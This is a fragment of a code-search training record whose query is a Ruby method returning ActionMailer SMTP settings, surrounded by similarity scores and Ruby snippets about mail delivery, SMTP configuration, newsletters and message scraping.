"def batch_notify_users(mxit_ids, message, contains_markup, options={ spool: true,\n spool_timeout: 60*60*24*7 })\n\n Rails.logger.info('Requesting MXit API auth...')\n request_app_auth([\"message/send\"])\n Rails.logger.info('Finished MXit API auth.')\n\n batch_size = 50\n Rails.logger.info('Starting to notify users in batches of ' + batch_size.to_s + '...')\n i = 0\n while i < mxit_ids.count\n current_batch = mxit_ids[i, batch_size]\n i += current_batch.count \n\n to = current_batch.join(',')\n begin\n send_message(@app_name, to, message, contains_markup, options)\n rescue Exception => exception\n Rails.logger.error(\"The following batch caused an exception during send message:\" +\n \"\\n\\t#{to}\")\n Rails.logger.error(exception.message)\n end\n\n Rails.logger.info(\"Total users notified: \" + i.to_s)\n end\n Rails.logger.info('Finished notifying!')\n end",
"def run_ticker(m)\n config = YAML.safe_load(File.read(\"config/google.yml\"))\n source = \"http://www.google.com/appsstatus/rss/en\"\n current_msg = String.new\n \n # Get current RSS message without reporting it.\n raw = String.new\n open(source) do |input|\n raw = input.read\n end\n rss = RSS::Parser.parse(raw, false)\n\n if !rss.items.empty?\n current_msg = rss.items[0].description\n end\n\n # Begin checking for new RSS messages.\n while @@active\n sleep(config['frequency'])\n\n raw = String.new\n open(source) do |input|\n raw = input.read\n end\n rss = RSS::Parser.parse(raw, false)\n\n # If there are any entries in the RSS feed, check if they\n # are different from what we already have. If so, update, then\n # print them out.\n if !rss.items.empty?\n if (rss.items[0].description != current_msg)\n current_msg = rss.items[0].description\n\n cleaned_rss = Sanitize.clean(rss.items[0].description)\n # Google has an interesting way of dividing up different entries...\n # with the following Unicode character delimiter.\n msg_set = cleaned_rss.split \"\\u00A0\"\n msg_set.each { |msg| msg.strip! }\n msg_set.delete_if { |msg| msg.empty? }\n \n reply = \"[#{rss.items[0].title}] \"\n reply << (msg_set[0]).to_s\n \n # Report RSS results to each channel in the list.\n config['channels'].each do |chname|\n max_msg_size = 512 - m.bot.nick.size - chname.size - 43\n Channel(chname).send reply[0,max_msg_size]\n Channel(chname).send \"More info at: #{rss.items[0].link}\"\n end\n\n end\n end\n end\n\n end",
"def perform\n @newsletter = create_newsletter\n send_emails\n end",
"def scrapeMessages(searchTime = Time.now.to_i, group_id)\n database = SQLite3::Database.new( @database ) \n\n id = 0\n t = Time.now.to_i\n \n scraped_messages = Hash.new \n scraped_likes = Array.new\n\n t1 = Time.new\n\n while (Time.now.to_i - t.to_i) < (searchTime + 604800) do\n\n if id == 0\n messages = $gm.get(\"/groups/#{group_id}/messages\", @token, \"limit=100\")['response']\n else\n messages = $gm.get(\"/groups/#{group_id}/messages\", @token, \"limit=100&before_id=#{id}\")['response']\n end\n\n if messages.nil?\n break\n return false\n end\n\n messages['messages'].each do | message |\n t = Time.at(message['created_at'])\n if ((Time.now.to_i - t.to_i) < searchTime)\n if database.execute( \"SELECT * FROM messages WHERE message_id='#{message['id']}'\").empty?\n image = \"none\"\n liked_users = \"\"\n num_likes = 0\n if !message['attachments'].empty?\n if message['attachments'][0]['type'] == \"image\"\n image = message['attachments'][0]['url'] \n end\n end\n if !message['favorited_by'].nil?\n if message['favorited_by'].length != 0\n message['favorited_by'].each do | user |\n scraped_likes.push([message['id'], user])\n end\n end \n end\n if !message['text'].nil?\n scraped_messages[ message['id'] ] = [ message['created_at'], message['user_id'], message['name'], message['group_id'], message['avatar_url'], message['text'], image ]\n else\n scraped_messages[ message['id'] ] = [ message['created_at'], message['user_id'], message['name'], message['group_id'], message['avatar_url'], '', image ]\n end\n end\n end \n #For likes, we want to scan all posts a week back from the search time\n if ((Time.now.to_i - t.to_i) < (searchTime.to_i + 604800) )\n message['favorited_by'].each do | likedMembers |\n if (database.execute(\"SELECT count(user_id) FROM likes WHERE message_id=#{message['id']} AND user_id=#{likedMembers}\")[0][0] == 0 && database.execute(\"SELECT updated_at FROM groups WHERE group_id=#{message['group_id']}\").empty?)\n scraped_likes.push([message['id'], likedMembers])\n end \n end\n end\n end\n\n t = messages['messages'].last['created_at']\n id = messages['messages'].last['id'] \n end\n\n database.transaction\n scraped_messages.each do | key, value |\n database.execute( \"INSERT INTO messages(message_id, created_at, user_id, name, group_id, avatar_url, text, image) VALUES (?, datetime('#{value[0]}', 'unixepoch'), ?, ?, ?, ?, ?, ?)\",\n key,\n value[1],\n value[2],\n value[3],\n value[4],\n value[5],\n value[6] )\n end \n scraped_likes.each do | likes |\n database.execute(\"INSERT INTO likes(message_id, user_id) VALUES (?, ?)\",\n likes[0],\n likes[1] )\n end \n database.commit\n \n t2 = Time.new\n $logger.info \"Scrape time for group id #{group_id} was: #{(t2-t1).to_s} seconds\"\n end",
"def filter_loop\n while id = @queue.shift\n begin\n json = File.read \"#{CONFIG[\"spooldir\"]}/queue/#{id}.json\"\n data = Oj.load json\n mail = Mail.new data[\"mail\"]\n data[\"proxy\"] = MailProxy.new(data[\"mail\"])\n filter(data, mail)\n rescue => e\n STDERR.puts e.full_message\n if data\n data[\"error\"] = {\n \"message\" => e.message,\n \"backtrace\" => e.backtrace\n }\n File.open(\"#{CONFIG[\"spooldir\"]}/error/#{id}.json\", \"w\") {|f| Oj.dump(data, f) }\n elsif json\n File.open(\"#{CONFIG[\"spooldir\"]}/error/#{id}.json\", \"w\") {|f| f.write json }\n else\n File.open(\"#{CONFIG[\"spooldir\"]}/unreadable/#{id}\", \"w\") {|f| nil }\n end\n ensure\n File.delete \"#{CONFIG[\"spooldir\"]}/queue/#{id}.json\"\n end\n end\n end",
"def send!\n self.to_csv.split(/\\n/).each do |line|\n user = User.find_by_email(line.split(/\\t/)[0])\n fields = line.strip.split(/\\t/)[1..-1]\n self.send_message(user, fields)\n end\n end",
"def spam_check\n CommentSpamCheckWorker.perform_in(5.seconds, id)\n end",
"def batch_subscribe(emails=[])\n # Do this using a batch call to the MailChimp API for performance rather than lots of single API calls.\n api.batch_subscribe({\n \t:id => @campaignable_list_id,\n :batch => emails.map {|email| {:email => { :email => email }} }, # Map all users in the system into a mailchimp collcation.\n :double_optin => false, # Don't require email authorization.\n :update_existing => true, # Don't error if adding existing subscriber.\n :replace_interests => false # Don't send a welcome email when they're added to the list. \n })\n end",
"def subscription_mailer\n users_id = Subscription.where('category_id in (?)', self.categories.ids).distinct.pluck(:user_id)\n users_id.delete(self.user.id)\n if users_id.any?\n number_elements = ((users_id.size/25.to_f).round == 0 ? 1 : (users_id.size/25.to_f).round)\n users_id.each_slice(number_elements) {|array| UserMailer.delay.subscription(array, self.id) }\n end\n end"
] |
[
"0.63550395",
"0.6347368",
"0.626558",
"0.59199774",
"0.5908429",
"0.587785",
"0.5820501",
"0.5771507",
"0.57566583",
"0.57563657",
"0.57034516",
"0.5688156",
"0.56687874",
"0.5662345",
"0.5656551",
"0.56368244",
"0.56352085",
"0.56224275",
"0.5572542",
"0.5552031",
"0.55498147",
"0.5501166",
"0.54952985",
"0.54708403",
"0.5450478",
"0.5442793",
"0.5440463",
"0.5434821",
"0.5429015",
"0.5427458",
"0.54227906",
"0.54172444",
"0.54024196",
"0.53908664",
"0.5387389",
"0.5387389",
"0.5380425",
"0.5377269",
"0.53750795",
"0.5363039",
"0.5343403",
"0.53357565",
"0.533385",
"0.5330936",
"0.53253216",
"0.53248566",
"0.53035486",
"0.5297669",
"0.52961826",
"0.52950346",
"0.5286136",
"0.5264078",
"0.5246839",
"0.524651",
"0.5245198",
"0.5243352",
"0.5239288",
"0.52373105",
"0.52229863",
"0.5217912",
"0.521458",
"0.5213287",
"0.5209697",
"0.5202049",
"0.5187565",
"0.51850843",
"0.5183714",
"0.51802385",
"0.5179453",
"0.51621103",
"0.5150676",
"0.5150604",
"0.51485854",
"0.5142807",
"0.51427007",
"0.5137087",
"0.5133803",
"0.51333904",
"0.5132591",
"0.51250815",
"0.512317",
"0.51196796",
"0.511241",
"0.51012444",
"0.5099966",
"0.50999457",
"0.5098358",
"0.50973606",
"0.50959194",
"0.50947976",
"0.5080729",
"0.50748575",
"0.5063059",
"0.5062579",
"0.50625634",
"0.50620264",
"0.50499654",
"0.5042557",
"0.50353825",
"0.5034663"
] |
0.6537431
|
0
|
Proxy to ActionMailer::Base::smtp_settings. See for instructions on how to configure ActionMailer's SMTP server. Falls back to ::server_settings if ::smtp_settings doesn't exist for backwards compatibility.
|
def smtp_settings
ActionMailer::Base.smtp_settings rescue ActionMailer::Base.server_settings
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def smtp_settings\n {\n address: smtp_host,\n password: smtp_password,\n port: smtp_port,\n user_name: smtp_username\n }\n end",
"def ar_mailer_smtp_settings(new_settings = nil)\n ar_mailer_setting(:smtp_settings, new_settings)\n end",
"def config_mail\n ActionMailer::Base.raise_delivery_errors = true\n ActionMailer::Base.delivery_method = :smtp\n ActionMailer::Base.perform_deliveries = true\n #mail_server = MailConfig.read_mail_server_config\n\n ActionMailer::Base.smtp_settings = {\n :address => @@mail_server.mail_server_address,\n :port => @@mail_server.mail_server_port,\n :domain => @@mail_server.mail_server_domain,\n #:authentication => :plain,\n #:user_name => mail_server.mail_server_username,\n # hthngoc - Fix: decode pwd before use\n #:password => mail_server.mail_server_password,\n :enable_starttls_auto => @@mail_server.mail_server_enable_tls,\n :openssl_verify_mode => 'none'\n }\n end",
"def settings\n MailSettings.new.mail_server_settings\n end",
"def restartOptionsServerConfiguration\n # SAME ON config/initializers/mailer.rb !!!\n begin\n # mail_delivery_method can be :smtp, :smtp_tls, :sendmail, :test\n delivery_method = Option.getValue(MAIL_DELIVERY_METHOD).nil? ? nil : Option.getValue(MAIL_DELIVERY_METHOD).strip\n if delivery_method == ':sendmail'\n ActionMailer::Base.delivery_method = :sendmail\n elsif delivery_method == ':test'\n ActionMailer::Base.delivery_method = :test\n else\n ActionMailer::Base.delivery_method = :smtp\n end\n ActionMailer::Base.smtp_settings = {\n :address => Option.getValue(SMTP_ADDRESS).nil? ? nil : Option.getValue(SMTP_ADDRESS).strip,\n :port => Option.getValue(SMTP_PORT).nil? ? nil : Option.getValue(SMTP_PORT).strip,\n :domain => Option.getValue(SMTP_DOMAIN).nil? ? nil : Option.getValue(SMTP_DOMAIN).strip,\n :user_name => Option.getValue(SMTP_USER_NAME).nil? ? nil : Option.getValue(SMTP_USER_NAME).strip,\n :password => Option.getValue(SMTP_PASSWORD).nil? ? nil : Option.getValue(SMTP_PASSWORD).strip\n }\n if delivery_method == ':smtp_tls' and RUBY_VERSION > \"1.8.6\"\n ActionMailer::Base.smtp_settings[:enable_starttls_auto] = true\n end\n smtp_authentication = Option.getValue(SMTP_AUTHENTICATION).nil? ? nil : Option.getValue(SMTP_AUTHENTICATION).strip\n if smtp_authentication == ':login' then \n ActionMailer::Base.smtp_settings[:authentication] = :login\n elsif smtp_authentication == ':cram_md5'\n ActionMailer::Base.smtp_settings[:authentication] = :cram_md5\n else\n ActionMailer::Base.smtp_settings[:authentication] = :plain\n end\n rescue => e\n RAILS_DEFAULT_LOGGER.error e\n RAILS_DEFAULT_LOGGER.error \"... database not created yet?\"\n end\nend",
"def set_mailer_host\n ActionMailer::Base.default_url_options[:host] = host\n ActionMailer::Base.smtp_settings.update(user_name: ENV[\"#{current_website.subdomain}_email\"],password: ENV[\"#{current_website.subdomain}_password\"])\n end",
"def setup_mailer\n if self.ssl\n self.port = DEFAULT_SSL_PORT if self.port.nil?\n else\n self.port = DEFAULT_PORT if self.port.nil?\n end\n\n if old_server != server or old_port != port\n @mailer = Net::POP3.new( self.server, self.port )\n end\n\n if self.ssl\n @mailer.enable_ssl\n else\n @mailer.disable_ssl\n end\n\n # keep track of old server and port\n self.old_server = self.server\n self.old_port = self.port\n end",
"def smtp_settings(ar_settings)\n result = ar_settings.delete('smtp_settings').try(:symbolize_keys)\n if result && result[:authentication]\n result[:authentication] = result[:authentication].to_sym\n end\n result\n end",
"def get_delivery_options\n # do we use the custom mail configuration?\n if custom?\n smtp_settings = {\n user_name: username,\n password: password,\n address: server,\n port: port,\n ssl: ssl,\n authentication: authentication,\n openssl_verify_mode: openssl,\n enable_starttls_auto: starttls\n }\n else\n smtp_settings = {\n user_name: username,\n password: password,\n address: server,\n port: port,\n ssl: ssl\n }\n end\n end",
"def after_proxy_connected\n use_smtp_interpreter!\n end",
"def smtp_options\n {\n address: smtp_address,\n port: smtp_port,\n domain: smtp_domain,\n authentication: smtp_authentication,\n user_name: smtp_user_name,\n password: smtp_password\n }.select { |_key, value| value.presence }\n end",
"def setup_delivery\n method = @config.delivery['method'] || :smtp\n options = @config.delivery['options'] || {}\n\n options.keys.each do |key|\n options[(key.to_sym rescue key) || key] = options.delete(key)\n end\n\n options = Idid::Configuration::SMTP_DEFAULTS.merge options if method == :smtp\n options = Idid::Configuration::EXIM_DEFAULTS.merge options if method == :exim\n\n mail_defaults_for method, options\n end",
"def delivery_options(address, port, domain, user_name, password,\n authentication, enable_starttls_auto)\n @mail.delivery_method :smtp, address: address,\n port: port,\n domain: domain,\n user_name: user_name,\n password: password,\n authentication: authentication,\n enable_starttls_auto: enable_starttls_auto\n end",
"def set_actionmailer_host\n ActionMailer::Base.default_url_options[:host] = request.host_with_port\n end",
"def mailer_set_url_options\n ActionMailer::Base.default_url_options[:host] = request.host_with_port\n end",
"def smtp_enabled?\n Rails.env.production?\n end",
"def apply_env_proxy_settings(settings)\n $stderr.puts(\"Using proxy #{settings}\") if ENV[\"DEBUG\"]\n scheme = settings[:protocol].downcase\n java.lang.System.setProperty(\"#{scheme}.proxyHost\", settings[:host])\n java.lang.System.setProperty(\"#{scheme}.proxyPort\", settings[:port].to_s)\n java.lang.System.setProperty(\"#{scheme}.proxyUsername\", settings[:username].to_s)\n java.lang.System.setProperty(\"#{scheme}.proxyPassword\", settings[:password].to_s)\n end",
"def set_email_host_and_protocol\n unless ( ActionMailer::Base.default_url_options.has_key?( :host ) )\n ActionMailer::Base.default_url_options[ :host ] = request.host_with_port\n end\n\n unless ( ActionMailer::Base.default_url_options.has_key?( :protocol ) )\n ActionMailer::Base.default_url_options[ :protocol ] = request.protocol\n end\n end",
"def set_request_for_mailer\n ActionMailer::Base.default_url_options[:host] = request.host_with_port\n end",
"def method_missing(method, *args, &blk)\n if settings.respond_to? method, true\n settings.__send__(method, *args, &blk)\n else\n super\n end\n end",
"def use_smtp_interpreter!\n @interpreter = Interpreter.new(delegate: self)\n\n # Trigger processing using the new interpreter as some SMTP data might\n # already be buffered by this point.\n receive_data\n end",
"def net_smtp\n Net::SMTP.start(self.class.config[:host], self.class.config[:port].to_i, self.class.config[:domain], \n self.class.config[:user], self.class.config[:pass], (self.class.config[:auth].to_sym||:plain)) { |smtp|\n smtp.send_message(@mail.to_s, @mail.from.first, @mail.to)\n }\n end",
"def smtp_host\n ENV[\"SMTP_HOST\"] || \"smtp.gmail.com\"\n end",
"def test_mailsystem(switcher = :junk)\n logger.info \"Settings before: #{ActionMailer::Base.smtp_settings.inspect}\"\n \n user = User.find(3)\n case switcher\n when :junk\n setup_email_admin(user)\n @from = head_encode(\"\\\"Kroogi (No Reply)\\\"\".t) + \" <welcome@kroogi.com>\"\n ActionMailer::Base.smtp_settings = APP_CONFIG[:junk_mail]\n when :important\n setup_email(user)\n when :admin\n setup_email_admin(user)\n when :server\n setup_email_admin(user)\n @from = \"Message from Server <engineering@your-net-works.com>\"\n ActionMailer::Base.smtp_settings = APP_CONFIG[:server_mail]\n end\n @recipients = \"engineering@your-net-works.com\"\n @subject += head_encode(\"Email test\".t)\n @body[:info] = ActionMailer::Base.smtp_settings[:user_name]\n \n logger.info \"Settings after: #{ActionMailer::Base.smtp_settings.inspect}\"\n \n end",
"def load_config(f)\n conf_hash = YAML.load_file f\n ActionMailer::Base.smtp_settings = conf_hash\n ActionMailer::Base.logger = WhoToWho.log if WhoToWho.logdebug?\n @from = conf_hash[:from]\n end",
"def notifier_settings(&block)\n @mail_configuration = Backup::Configuration::Mail.new\n @mail_configuration.instance_eval &block\n end",
"def smtp_login\n @smtp_host = PATCHMINE_MAIL_CONFIG['smtp_host']\n @smtp_port = PATCHMINE_MAIL_CONFIG['smtp_port']\n @smtp_username = PATCHMINE_MAIL_CONFIG['smtp_username']\n @smtp_password = PATCHMINE_MAIL_CONFIG['smtp_password']\n\n smtp = Net::SMTP.new(@smtp_host, @smtp_port) if smtp.nil?\n smtp.enable_ssl\n smtp.start(smtp_domain, @smtp_username, @smtp_password)\n smtp\n end",
"def smtp_starttls\n return false if smtp_tls?\n\n if setting_provided?(:enable_starttls) && settings[:enable_starttls]\n # enable_starttls: provided and truthy\n case settings[:enable_starttls]\n when :auto then :auto\n when :always then :always\n else\n :always\n end\n elsif setting_provided?(:enable_starttls_auto)\n # enable_starttls: not provided or false\n settings[:enable_starttls_auto] ? :auto : false\n else\n # enable_starttls_auto: not provided\n # enable_starttls: when provided then false\n # use :auto when neither enable_starttls* provided\n setting_provided?(:enable_starttls) ? false : :auto\n end\n end",
"def after_initialize\n @protocol = :esmtp\n @error = nil\n @tls_support = nil\n\n if (using_proxy?)\n proxy_connection_initiated!\n use_socks5_interpreter!\n else\n use_smtp_interpreter!\n end\n end",
"def initialize(options = {})\n super\n if Hash === settings[:'x-smtpapi']\n settings[:'x-smtpapi'] = JSON.dump(settings[:'x-smtpapi'])\n end\n end",
"def send_email( options={} )\n mail_opts = {\n :to => self.config[\"email\"][\"to\"],\n :from => self.config[\"email\"][\"from\"],\n :subject => \"A Message from MartSearch...\",\n :body => \"You have been sent this message from your MartSearch portal.\"\n }.merge!(options)\n \n mail = Mail.new do\n from mail_opts[:from]\n to mail_opts[:to]\n subject mail_opts[:subject]\n body mail_opts[:body]\n end\n \n if self.config[\"email\"][\"smtp\"]\n smtp_opts = { :host => \"127.0.0.1\", :port => \"25\" }\n \n [:host, :port, :user, :pass].each do |opt|\n if self.config[\"email\"][\"smtp\"][opt.to_s]\n smtp_opts[opt] = self.config[\"email\"][\"smtp\"][opt.to_s]\n end\n end\n \n Mail.defaults do\n smtp smtp_opts[:host], smtp_opts[:port]\n if smtp_opts[:user] then user smtp_opts[:user] end\n if smtp_opts[:pass] then pass smtp_opts[:pass] end\n end\n \n mail.deliver!\n else\n # Send via sendmail\n sendmail = `which sendmail`.chomp\n if sendmail.empty? then sendmail = \"/usr/sbin/sendmail\" end\n \n IO.popen('-', 'w+') do |pipe|\n if pipe\n pipe.write(mail.to_s)\n else\n exec(sendmail, \"-t\")\n end\n end\n end\n end",
"def transport_options\n return @transport_options if defined?(@transport_options)\n\n transport_options_proc = transport_options_settings\n\n @transport_options = TransportOptions.new\n\n if transport_options_proc.is_a?(Proc)\n begin\n transport_options_proc.call(TransportOptionsResolver.new(@transport_options))\n rescue NoMethodError => e\n if logger\n logger.debug do\n 'Could not extract configuration from transport_options proc. ' \\\n \"Cause: #{e.class.name} #{e.message} Source: #{Array(e.backtrace).first}\"\n end\n end\n\n # Reset the object; we shouldn't return the same one we passed into the proc as it may have\n # some partial configuration and we want all-or-nothing.\n @transport_options = TransportOptions.new\n end\n end\n\n @transport_options.freeze\n end",
"def email_via\n @email_via || :smtp\n end",
"def get_smtp_parameters\n smtp = {\n address: 'smtp.gmail.com',\n port: 587,\n domain: 'moovweb.com',\n user_name: 'eugene.shapovalov@moovweb.com',\n password: ENV['email_password'],\n authentication: 'plain',\n enable_starttls_auto: true\n }\nend",
"def test_smtp_publisher_config(opts = {})\n test_smtp_publisher_config_with_http_info(opts)\n nil\n end",
"def send_email(options = {})\n options = { server: 'remotesmtp.freescale.net',\n port: 25,\n from: '',\n from_alias: '',\n subject: '',\n body: '',\n to: ''\n }.merge(options)\n\n # Force to an array\n to = options[:to].respond_to?('each') ? options[:to] : [options[:to]]\n\n # Convert any user objects to an email\n to = to.map { |obj| obj.respond_to?('email') ? obj.email : obj }\n\n to.uniq.each do |addr|\n msg = <<END_OF_MESSAGE\nFrom: #{options[:from_alias]} <#{options[:from]}>\nTo: #{addr}\nSubject: #{options[:subject]}\n\n#{options[:body]}\n\nEND_OF_MESSAGE\n\n begin\n # Exceptions raised here will be caught by rescue clause\n Net::SMTP.start(options[:server], options[:port]) do |smtp|\n smtp.send_message msg, options[:from], addr\n end\n rescue\n warn \"Email not able to be sent to address '#{addr}'\"\n end\n end\n end",
"def settings(*args)\n @memoized_settings ||= @options[:settings] || __get_class_value(:settings) || (super && @settings)\n end",
"def initialize settings\n @settings = settings\n confirm_settings\n if fast?\n info(\"Forwarding for #{settings['host']}...\") if settings['verbose']\n else\n initialize_host_groups\n initialize_templates\n initialize_host\n initialize_applications\n info(\"Forwarding for #{host.name}...\") if settings['verbose']\n end\n end",
"def send\n args = @opts.values_at(:server, :port, :helo, :username, :password, :authtype)\n Net::SMTP.start(*args) do |smtp|\n smtp.send_message(@msg.to_s, @msg.from[0], @msg.to)\n end\n end",
"def get_sender_settings(opts = {})\n data, _status_code, _headers = get_sender_settings_with_http_info(opts)\n data\n end",
"def deliver mail\n if @cfg[:deliver]\n mail.deliver!\n logger.debug \"Files were emailed to #{mail.to}\"\n else\n logger.debug \"Files would have been emailed to #{mail.to}, but #{self.class.name} is configured not to\"\n end\n end",
"def configure_proxy(options, env)\n proxy = request_options(env)[:proxy]\n return unless proxy\n\n options[:proxy] = {\n host: proxy[:uri].host,\n port: proxy[:uri].port,\n authorization: [proxy[:user], proxy[:password]]\n }\n end",
"def attempt_delivery\n send(EmailProxy.provider)\n end",
"def connect_settings\n sanitize_environment_report\n settings = {\n :pid => $$,\n :port => ::TingYun::Agent.config[:port],\n :host => local_host,\n :appName => ::TingYun::Agent.config.app_names,\n :language => 'Ruby',\n :agentVersion => ::TingYun::VERSION::STRING,\n :env => @environment_report,\n :config => ::TingYun::Agent.config.to_collector_hash\n }\n settings\n end",
"def user_mail_setting(username,\n settings = Hash.new)\n page = page_usermail(username)\n form = page.form_with(:name => \"usermail\")\n\n if ! settings[:forward_only].nil?\n if settings[:forward_only] == true\n form.radiobuttons_with(:name => \"MailBox\")[0].check\n else\n form.radiobuttons_with(:name => \"MailBox\")[1].check\n end\n end\n\n if ! settings[:forward_addrs].nil?\n if ! settings[:forward_addrs].empty?\n form.field_with(:name => \"Transfer\").value = settings[:forward_addrs]\n end\n end\n\n if ! settings[:virus_check].nil?\n if settings[:virus_check] == true\n form.radiobuttons_with(:name => \"VirusScan\")[1].check\n else\n form.radiobuttons_with(:name => \"VirusScan\")[0].check\n end\n end\n\n if ! settings[:spam_filter].nil?\n if settings[:spam_filter] == true\n form.radiobuttons_with(:name => \"SpamFilter\")[1].check\n else\n form.radiobuttons_with(:name => \"SpamFilter\")[0].check\n end\n end\n\n result_page = @agent.submit(form, form.button_with(:name => \"Submit_usermail\"))\n\n if result_page.uri == URL_PANEL_TOP + \"usermail\"\n username\n else\n false\n end\n end",
"def configure(settings = {})\n abstract_method\n end",
"def configure\n yield settings\n end",
"def settings\n @settings ||= settings_class&.new(self)\n end",
"def esmtp?\n false\n end",
"def python=(python)\n MailManager.python = python\n end",
"def method_missing(meth, *args, &blk)\n settings.send meth, *args\n end",
"def configure\n yield settings\n end",
"def email(options)\n puts \"sending to #{options}\"\n Pony.mail(BASE_EMAIL.merge(options))\n end",
"def settings\n self.class.settings + View.settings - NON_FORWARDABLE_METHODS\n end",
"def settings_updated(user, sender, changes, options={})\n @sender = sender\n redmine_headers 'Sender' => sender.login\n @changes = changes\n @remote_ip = options[:remote_ip] || @sender.remote_ip\n @url = url_for(controller: 'settings', action: 'index')\n mail :to => user,\n :subject => \"[#{Setting.app_title}] #{l(:mail_subject_security_notification)}\"\n end",
"def setup_mail(record, action)\n default_url_options[:host] = Spree::Config[:site_url]\n initialize_from_record(record)\n mail headers_for(action)\n end",
"def configure(settings = {})\n defaults.merge(settings).each do |key, value|\n set key, value\n end\n end",
"def setup_proxy(proxy_server, port, user_name = nil, password = nil)\n self.http_proxy_setting = {\n http: {\n server: proxy_server,\n port: port\n }\n }\n if user_name and password\n self.http_proxy_setting[:http][:user_name] = user_name\n self.http_proxy_setting[:http][:password] = password\n end\n end",
"def configure_email\n @config[\"config\"][\"smtp\"] = {}\n if @config[\"config\"][\"contact\"][\"email\"]\n @config[\"config\"][\"smtp\"][\"smtp_username\"] = @config[\"config\"][\"contact\"][\"email\"]\n end\n if @args.empty?\n box(\"You will now need an email to drive emails from the app. If you don't have one, register a Gmail #{TTY::Link.link_to(\"here.\", \"http://url.perlmutterapp.com/gmail\")}\")\n smtp_verified = false\n until smtp_verified\n @config[\"config\"][\"smtp\"][\"smtp_username\"] = @prompt.ask(prompt_box(\"What is the email to send notifications from?\"), default: @config[\"config\"][\"smtp\"][\"smtp_username\"], required: true) { |q| q.validate :email, \"Invalid email\" }\n @config[\"config\"][\"smtp\"][\"smtp_password\"] = @prompt.mask(prompt_box(\"What is the email\\'s password?\"), required: true)\n @config[\"config\"][\"smtp\"][\"smtp_port\"] = 587\n case @prompt.select(prompt_box(\"Please select the email's provider to configure the app:\"), %W[Gmail Yahoo AOL Outlook Office365 Other])\n when \"Gmail\"\n @config[\"config\"][\"smtp\"][\"smtp_address\"] = \"smtp.gmail.com\"\n when \"Yahoo\"\n @config[\"config\"][\"smtp\"][\"smtp_address\"] = \"smtp.mail.yahoo.com\"\n @config[\"config\"][\"smtp\"][\"smtp_port\"] = 465\n when \"AOL\"\n @config[\"config\"][\"smtp\"][\"smtp_address\"] = \"smtp.aol.com\"\n when \"Outlook\"\n @config[\"config\"][\"smtp\"][\"smtp_address\"] = \"smtp.live.com\"\n when \"Office365\"\n @config[\"config\"][\"smtp\"][\"smtp_address\"] = \"smtp.office365.com\"\n else\n box(\"You will now need the email\\'s SMTP settings. You can get help finding these #{TTY::Link.link_to(\"here.\", \"http://url.perlmutterapp.com/smtp\")}\")\n @config[\"config\"][\"smtp\"][\"smtp_address\"] = @prompt.ask(prompt_box(\"What is the email\\'s SMTP address?\"), default: @config[\"config\"][\"smtp\"][\"smtp_address\"], required: true)\n @config[\"config\"][\"smtp\"][\"smtp_port\"] = @prompt.ask(prompt_box(\"What is the email\\'s SMTP port?\"), default: @config[\"config\"][\"smtp\"][\"smtp_port\"], convert: :int, required: true) { |q| q.validate /\\A\\d+\\z/, \"Must be integer\" }\n end\n smtp_verified = verify_email\n end\n else\n @config[\"config\"][\"smtp\"][\"smtp_username\"] = get_argument_value(\"smtp_username\", true, nil)\n @config[\"config\"][\"smtp\"][\"smtp_password\"] = get_argument_value(\"smtp_password\", true, nil)\n @config[\"config\"][\"smtp\"][\"smtp_address\"] = get_argument_value(\"smtp_address\", true, nil)\n @config[\"config\"][\"smtp\"][\"smtp_port\"] = get_argument_value(\"smtp_port\", false, 587)\n smtp_verified = verify_email\n unless smtp_verified\n raise ArgumentError\n end\n end\nend",
"def ar_mailer_setting(key, value = nil)\n if headers[:ar_mailer_settings]\n settings = JSON.parse(headers[:ar_mailer_settings].value).stringify_keys\n else\n settings = {}\n end\n\n if value\n settings[key.to_s] = value\n if headers[:ar_mailer_settings].nil?\n headers[:ar_mailer_settings] = settings.stringify_keys.to_json\n else\n headers[:ar_mailer_settings].value = settings.stringify_keys.to_json\n end\n else\n settings[key.to_s]\n end\n end",
"def setup_email(options)\n @recipients = options[:recipients]\n @from = options[:from] || SocialNewsConfig[\"email_addrs\"][\"support\"] \n @cc = options[:cc] || ''\n @bcc = options[:bcc] || ''\n @subject = SUBJECT_PREFIX + (options[:subject] || 'No Subject')\n @body = options[:body] || {}\n @headers = options[:headers] || {}\n @charset = options[:charset] || 'utf-8'\n end",
"def option_smtpchk(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"option smtpchk \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end",
"def settings\n @settings ||= self.class.settings.dup\n end",
"def delivery_options_for(extname)\n self.delivery_options.send(extname.to_sym)\n end",
"def validate_mailer_defined\n return unless\n sorcery_config.reset_password_mailer.nil? &&\n sorcery_config.reset_password_mailer_disabled == false\n\n raise Sorcery::Errors::ConfigError,\n 'To use reset_password submodule, you must define a mailer '\\\n '(config.reset_password_mailer = YourMailerClass).'\n end",
"def send_mail(opts)\n if EmailConfig.saleable_days_fallback_active?\n return mail(opts.merge(to: [EmailConfig.saleable_distribution_fallback_email]))\n end\n mail(opts)\n end",
"def configure_server(options = T.unsafe(nil)); end",
"def initialize\n @method = :smtp # :sendmail\n @host = 'localhost'\n @port = 25\n @auth_type = nil # :plain, :login, :cram_md5\n @auth_user = nil\n @auth_pass = nil\n @sendmail_binary = 'sendmail'\n end",
"def generic_send_email(method, mailer)\n config = sorcery_config\n mail = config.send(mailer).send(config.send(method), self)\n return unless mail.respond_to?(config.email_delivery_method)\n\n mail.send(config.email_delivery_method)\n end",
"def connect\n smtp = Net::SMTP.new(host_name || ip_address)\n smtp.start(@config[:helo_name] || \"localhost\")\n smtp.finish\n true\n rescue Net::SMTPFatalError => e\n set_error(:server_not_available, e.to_s)\n rescue SocketError => e\n set_error(:server_not_available, e.to_s)\n ensure\n if smtp&.started?\n smtp.finish\n end\n end",
